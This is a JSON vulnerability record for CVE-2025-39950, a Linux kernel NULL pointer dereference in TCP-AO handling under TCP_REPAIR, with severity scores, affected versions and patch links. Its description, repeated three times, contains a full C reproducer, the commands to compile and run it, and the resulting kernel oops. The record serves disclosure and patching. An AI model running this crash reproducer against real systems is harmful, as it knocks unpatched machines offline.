{"api_version":"1","generated_at":"2026-10-20T17:58:52+00:00","cve":"CVE-2025-39950","urls":{"html":"https://cve.report/CVE-2025-39950","api":"https://cve.report/api/cve/CVE-2025-39950.json","docs":"https://cve.report/api","cve_org":"https://www.cve.org/CVERecord?id=CVE-2025-39950","nvd":"https://nvd.nist.gov/vuln/detail/CVE-2025-39950"},"summary":{"title":"net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR\n\nA NULL pointer dereference can occur in tcp_ao_finish_connect() during a\nconnect() system call on a socket with a TCP-AO key added and TCP_REPAIR\nenabled.\n\nThe function is called with skb being NULL and attempts to dereference it\non tcp_hdr(skb)->seq without a prior skb validation.\n\nFix this by checking if skb is NULL before dereferencing it.\n\nThe commentary is taken from bpf_skops_established(), which is also called\nin the same flow. Unlike the function being patched,\nbpf_skops_established() validates the skb before dereferencing it.\n\nint main(void){\n\tstruct sockaddr_in sockaddr;\n\tstruct tcp_ao_add tcp_ao;\n\tint sk;\n\tint one = 1;\n\n\tmemset(&sockaddr,'\\0',sizeof(sockaddr));\n\tmemset(&tcp_ao,'\\0',sizeof(tcp_ao));\n\n\tsk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n\n\tsockaddr.sin_family = AF_INET;\n\n\tmemcpy(tcp_ao.alg_name,\"cmac(aes128)\",12);\n\tmemcpy(tcp_ao.key,\"ABCDEFGHABCDEFGH\",16);\n\ttcp_ao.keylen = 16;\n\n\tmemcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr));\n\n\tsetsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao,\n\tsizeof(tcp_ao));\n\tsetsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one));\n\n\tsockaddr.sin_family = AF_INET;\n\tsockaddr.sin_port = htobe16(123);\n\n\tinet_aton(\"127.0.0.1\", &sockaddr.sin_addr);\n\n\tconnect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr));\n\nreturn 0;\n}\n\n$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall\n$ unshare -Urn\n\nBUG: kernel NULL pointer dereference, address: 00000000000000b6\nPGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0\nOops: Oops: 0000 [#1] SMP NOPTI\nHardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop\nReference Platform, BIOS 6.00 11/12/2020\nRIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)","state":"PUBLISHED","assigner":"Linux","published_at":"2025-10-04 08:15:48","updated_at":"2026-10-19 21:10:00"},"problem_types":["CWE-476"],"metrics":[{"version":"3.1","source":"nvd@nist.gov","type":"Primary","score":"5.5","severity":"MEDIUM","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","data":{"version":"3.1","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","baseScore":5.5,"baseSeverity":"MEDIUM","attackVector":"LOCAL","attackComplexity":"LOW","privilegesRequired":"LOW","userInteraction":"NONE","scope":"UNCHANGED","confidentialityImpact":"NONE","integrityImpact":"NONE","availabilityImpact":"HIGH"}}],"references":[{"url":"https://git.kernel.org/stable/c/5f445eb259906b61a518487a790e11d07d31738c","name":"https://git.kernel.org/stable/c/5f445eb259906b61a518487a790e11d07d31738c","refsource":"416baaa9-dc9f-4396-8d5f-8c081fb06d67","tags":["Patch"],"title":"","mime":"","httpstatus":"","archivestatus":"0"},{"url":"https://git.kernel.org/stable/c/993b734d31ab804747ac961b1ee664b023c3b5fa","name":"https://git.kernel.org/stable/c/993b734d31ab804747ac961b1ee664b023c3b5fa","refsource":"416baaa9-dc9f-4396-8d5f-8c081fb06d67","tags":["Patch"],"title":"","mime":"","httpstatus":"","archivestatus":"0"},{"url":"https://git.kernel.org/stable/c/2e7bba08923ebc675b1f0e0e0959e68e53047838","name":"https://git.kernel.org/stable/c/2e7bba08923ebc675b1f0e0e0959e68e53047838","refsource":"416baaa9-dc9f-4396-8d5f-8c081fb06d67","tags":["Patch"],"title":"","mime":"","httpstatus":"","archivestatus":"0"},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-39950","name":"CVE Program record","refsource":"CVE.ORG","tags":["canonical"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-39950","name":"NVD vulnerability detail","refsource":"NVD","tags":["canonical","analysis"]}],"affected":[{"source":"CNA","vendor":"Linux","product":"Linux","version":"affected 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f 5f445eb259906b61a518487a790e11d07d31738c git","platforms":[]},{"source":"CNA","vendor":"Linux","product":"Linux","version":"affected 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f 993b734d31ab804747ac961b1ee664b023c3b5fa git","platforms":[]},{"source":"CNA","vendor":"Linux","product":"Linux","version":"affected 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f 2e7bba08923ebc675b1f0e0e0959e68e53047838 git","platforms":[]},{"source":"CNA","vendor":"Linux","product":"Linux","version":"affected 6.7","platforms":[]},{"source":"CNA","vendor":"Linux","product":"Linux","version":"unaffected 6.7 semver","platforms":[]},{"source":"CNA","vendor":"Linux","product":"Linux","version":"unaffected 6.12.49 6.12.* semver","platforms":[]},{"source":"CNA","vendor":"Linux","product":"Linux","version":"unaffected 6.16.9 6.16.* semver","platforms":[]},{"source":"CNA","vendor":"Linux","product":"Linux","version":"unaffected 6.17 * original_commit_for_fix","platforms":[]}],"timeline":[],"solutions":[],"workarounds":[],"exploits":[],"credits":[],"nvd_cpes":[{"cve_year":"2025","cve_id":"39950","vulnerable":"1","versionEndIncluding":"","cpe1":"cpe","cpe2":"2.3","cpe3":"o","cpe4":"linux","cpe5":"linux_kernel","cpe6":"*","cpe7":"*","cpe8":"*","cpe9":"*","cpe10":"*","cpe11":"*","cpe12":"*","cpe13":"*"}],"vendor_comments":[],"enrichments":{"kev":null,"epss":null,"legacy_qids":[]},"source_records":{"cve_program":{"containers":{"cna":{"affected":[{"defaultStatus":"unaffected","product":"Linux","programFiles":["net/ipv4/tcp_ao.c"],"repo":"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git","vendor":"Linux","versions":[{"lessThan":"5f445eb259906b61a518487a790e11d07d31738c","status":"affected","version":"7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f","versionType":"git"},{"lessThan":"993b734d31ab804747ac961b1ee664b023c3b5fa","status":"affected","version":"7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f","versionType":"git"},{"lessThan":"2e7bba08923ebc675b1f0e0e0959e68e53047838","status":"affected","version":"7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f","versionType":"git"}]},{"defaultStatus":"affected","product":"Linux","programFiles":["net/ipv4/tcp_ao.c"],"repo":"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git","vendor":"Linux","versions":[{"status":"affected","version":"6.7"},{"lessThan":"6.7","status":"unaffected","version":"0","versionType":"semver"},{"lessThanOrEqual":"6.12.*","status":"unaffected","version":"6.12.49","versionType":"semver"},{"lessThanOrEqual":"6.16.*","status":"unaffected","version":"6.16.9","versionType":"semver"},{"lessThanOrEqual":"*","status":"unaffected","version":"6.17","versionType":"original_commit_for_fix"}]}],"cpeApplicability":[{"nodes":[{"cpeMatch":[{"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionEndExcluding":"6.12.49","versionStartIncluding":"6.7","vulnerable":true},{"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionEndExcluding":"6.16.9","versionStartIncluding":"6.7","vulnerable":true},{"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionEndExcluding":"6.17","versionStartIncluding":"6.7","vulnerable":true}],"negate":false,"operator":"OR"}]}],"descriptions":[{"lang":"en","value":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR\n\nA NULL pointer dereference can occur in tcp_ao_finish_connect() during a\nconnect() system call on a socket with a TCP-AO key added and TCP_REPAIR\nenabled.\n\nThe function is called with skb being NULL and attempts to dereference it\non tcp_hdr(skb)->seq without a prior skb validation.\n\nFix this by checking if skb is NULL before dereferencing it.\n\nThe commentary is taken from bpf_skops_established(), which is also called\nin the same flow. Unlike the function being patched,\nbpf_skops_established() validates the skb before dereferencing it.\n\nint main(void){\n\tstruct sockaddr_in sockaddr;\n\tstruct tcp_ao_add tcp_ao;\n\tint sk;\n\tint one = 1;\n\n\tmemset(&sockaddr,'\\0',sizeof(sockaddr));\n\tmemset(&tcp_ao,'\\0',sizeof(tcp_ao));\n\n\tsk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n\n\tsockaddr.sin_family = AF_INET;\n\n\tmemcpy(tcp_ao.alg_name,\"cmac(aes128)\",12);\n\tmemcpy(tcp_ao.key,\"ABCDEFGHABCDEFGH\",16);\n\ttcp_ao.keylen = 16;\n\n\tmemcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr));\n\n\tsetsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao,\n\tsizeof(tcp_ao));\n\tsetsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one));\n\n\tsockaddr.sin_family = AF_INET;\n\tsockaddr.sin_port = htobe16(123);\n\n\tinet_aton(\"127.0.0.1\", &sockaddr.sin_addr);\n\n\tconnect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr));\n\nreturn 0;\n}\n\n$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall\n$ unshare -Urn\n\nBUG: kernel NULL pointer dereference, address: 00000000000000b6\nPGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0\nOops: Oops: 0000 [#1] SMP NOPTI\nHardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop\nReference Platform, BIOS 6.00 11/12/2020\nRIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)"}],"providerMetadata":{"dateUpdated":"2026-05-11T21:39:33.592Z","orgId":"416baaa9-dc9f-4396-8d5f-8c081fb06d67","shortName":"Linux"},"references":[{"url":"https://git.kernel.org/stable/c/5f445eb259906b61a518487a790e11d07d31738c"},{"url":"https://git.kernel.org/stable/c/993b734d31ab804747ac961b1ee664b023c3b5fa"},{"url":"https://git.kernel.org/stable/c/2e7bba08923ebc675b1f0e0e0959e68e53047838"}],"title":"net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR","x_generator":{"engine":"bippy-1.2.0"}}},"cveMetadata":{"assignerOrgId":"416baaa9-dc9f-4396-8d5f-8c081fb06d67","assignerShortName":"Linux","cveId":"CVE-2025-39950","datePublished":"2025-10-04T07:31:10.926Z","dateReserved":"2025-04-16T07:20:57.148Z","dateUpdated":"2026-05-11T21:39:33.592Z","state":"PUBLISHED"},"dataType":"CVE_RECORD","dataVersion":"5.2"},"nvd":{"publishedDate":"2025-10-04 08:15:48","lastModifiedDate":"2026-10-19 21:10:00","problem_types":["CWE-476"],"metrics":{"cvssMetricV31":[{"source":"nvd@nist.gov","type":"Primary","cvssData":{"version":"3.1","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","baseScore":5.5,"baseSeverity":"MEDIUM","attackVector":"LOCAL","attackComplexity":"LOW","privilegesRequired":"LOW","userInteraction":"NONE","scope":"UNCHANGED","confidentialityImpact":"NONE","integrityImpact":"NONE","availabilityImpact":"HIGH"},"exploitabilityScore":1.8,"impactScore":3.6}]},"configurations":[{"nodes":[{"operator":"OR","negate":false,"cpeMatch":[{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"6.7","versionEndExcluding":"6.12.49","matchCriteriaId":"CAA033E9-A2C5-4976-A83E-9804D8FB827F"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"6.13","versionEndExcluding":"6.16.9","matchCriteriaId":"638DD910-1189-4F5E-98BF-2D436B695112"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:*","matchCriteriaId":"327D22EF-390B-454C-BD31-2ED23C998A1C"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:*","matchCriteriaId":"C730CD9A-D969-4A8E-9522-162AAF7C0EE9"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:*","matchCriteriaId":"39982C4B-716E-4B2F-8196-FA301F47807D"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:*","matchCriteriaId":"340BEEA9-D70D-4290-B502-FBB1032353B1"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:6.17:rc5:*:*:*:*:*:*","matchCriteriaId":"47E4C5C0-079F-4838-971B-8C503D48FCC2"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:6.17:rc6:*:*:*:*:*:*","matchCriteriaId":"5A4516A6-C12E-42A4-8C0E-68AEF3264504"}]}]}]},"legacy_mitre":{"record":{"CveYear":"2025","CveId":"39950","Ordinal":"1","Title":"net/tcp: Fix a NULL pointer dereference when using TCP-AO with T","CVE":"CVE-2025-39950","Year":"2025"},"notes":[{"CveYear":"2025","CveId":"39950","Ordinal":"1","NoteData":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR\n\nA NULL pointer dereference can occur in tcp_ao_finish_connect() during a\nconnect() system call on a socket with a TCP-AO key added and TCP_REPAIR\nenabled.\n\nThe function is called with skb being NULL and attempts to dereference it\non tcp_hdr(skb)->seq without a prior skb validation.\n\nFix this by checking if skb is NULL before dereferencing it.\n\nThe commentary is taken from bpf_skops_established(), which is also called\nin the same flow. Unlike the function being patched,\nbpf_skops_established() validates the skb before dereferencing it.\n\nint main(void){\n\tstruct sockaddr_in sockaddr;\n\tstruct tcp_ao_add tcp_ao;\n\tint sk;\n\tint one = 1;\n\n\tmemset(&sockaddr,'\\0',sizeof(sockaddr));\n\tmemset(&tcp_ao,'\\0',sizeof(tcp_ao));\n\n\tsk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n\n\tsockaddr.sin_family = AF_INET;\n\n\tmemcpy(tcp_ao.alg_name,\"cmac(aes128)\",12);\n\tmemcpy(tcp_ao.key,\"ABCDEFGHABCDEFGH\",16);\n\ttcp_ao.keylen = 16;\n\n\tmemcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr));\n\n\tsetsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao,\n\tsizeof(tcp_ao));\n\tsetsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one));\n\n\tsockaddr.sin_family = AF_INET;\n\tsockaddr.sin_port = htobe16(123);\n\n\tinet_aton(\"127.0.0.1\", &sockaddr.sin_addr);\n\n\tconnect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr));\n\nreturn 0;\n}\n\n$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall\n$ unshare -Urn\n\nBUG: kernel NULL pointer dereference, address: 00000000000000b6\nPGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0\nOops: Oops: 0000 [#1] SMP NOPTI\nHardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop\nReference Platform, BIOS 6.00 11/12/2020\nRIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)","Type":"Description","Title":"net/tcp: Fix a NULL pointer dereference when using TCP-AO with T"}]}}}